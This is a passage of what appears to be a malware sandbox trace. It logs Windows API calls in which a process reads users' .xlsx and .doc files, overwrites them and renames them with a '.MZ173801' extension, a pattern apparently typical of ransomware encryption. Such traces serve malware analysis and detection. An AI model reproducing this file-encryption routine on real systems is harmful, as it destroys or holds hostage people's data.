VCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.534] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jjAVl.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jjavl.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.534] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0124.534] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.534] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x5608 [0124.534] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.534] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0x5608, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x5608, lpOverlapped=0x0) returned 1 [0124.535] CloseHandle (hObject=0x288) returned 1 [0124.536] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jjAVl.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jjavl.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.537] WriteFile (in: hFile=0x288, lpBuffer=0x71a540*, nNumberOfBytesToWrite=0x5608, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x71a540*, lpNumberOfBytesWritten=0x18f99c*=0x5608, lpOverlapped=0x0) returned 1 [0124.538] CloseHandle (hObject=0x288) returned 1 [0124.539] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jjAVl.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jjavl.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jjAVl.xlsx.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jjavl.xlsx.mz173801")) returned 1 [0124.540] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\KZAd5Ss.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kzad5ss.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ee2d500, ftCreationTime.dwHighDateTime=0x1d57f98, ftLastAccessTime.dwLowDateTime=0x97c58b40, ftLastAccessTime.dwHighDateTime=0x1d5c0e4, ftLastWriteTime.dwLowDateTime=0x97c58b40, ftLastWriteTime.dwHighDateTime=0x1d5c0e4, nFileSizeHigh=0x0, nFileSizeLow=0x1544f)) returned 1 [0124.542] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.542] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.543] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\KZAd5Ss.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kzad5ss.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.543] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0124.543] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.543] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x1544f [0124.543] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.543] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0x1544f, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x1544f, lpOverlapped=0x0) returned 1 [0124.545] CloseHandle (hObject=0x288) returned 1 [0124.546] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\KZAd5Ss.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kzad5ss.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.547] WriteFile (in: hFile=0x288, lpBuffer=0x72a540*, nNumberOfBytesToWrite=0x1544f, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x72a540*, lpNumberOfBytesWritten=0x18f99c*=0x1544f, lpOverlapped=0x0) returned 1 [0124.550] CloseHandle (hObject=0x288) returned 1 [0124.565] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\KZAd5Ss.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kzad5ss.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\KZAd5Ss.xlsx.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kzad5ss.xlsx.mz173801")) returned 1 [0124.566] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\LlEz.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\llez.doc"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee965fa0, ftCreationTime.dwHighDateTime=0x1d5d924, ftLastAccessTime.dwLowDateTime=0xa1d0f210, ftLastAccessTime.dwHighDateTime=0x1d5dec0, ftLastWriteTime.dwLowDateTime=0xa1d0f210, ftLastWriteTime.dwHighDateTime=0x1d5dec0, nFileSizeHigh=0x0, nFileSizeLow=0x18210)) returned 1 [0124.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.568] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\LlEz.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\llez.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.568] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0124.569] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.569] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x18210 [0124.569] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.569] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0x18210, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x18210, lpOverlapped=0x0) returned 1 [0124.570] CloseHandle (hObject=0x288) returned 1 [0124.572] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\LlEz.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\llez.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 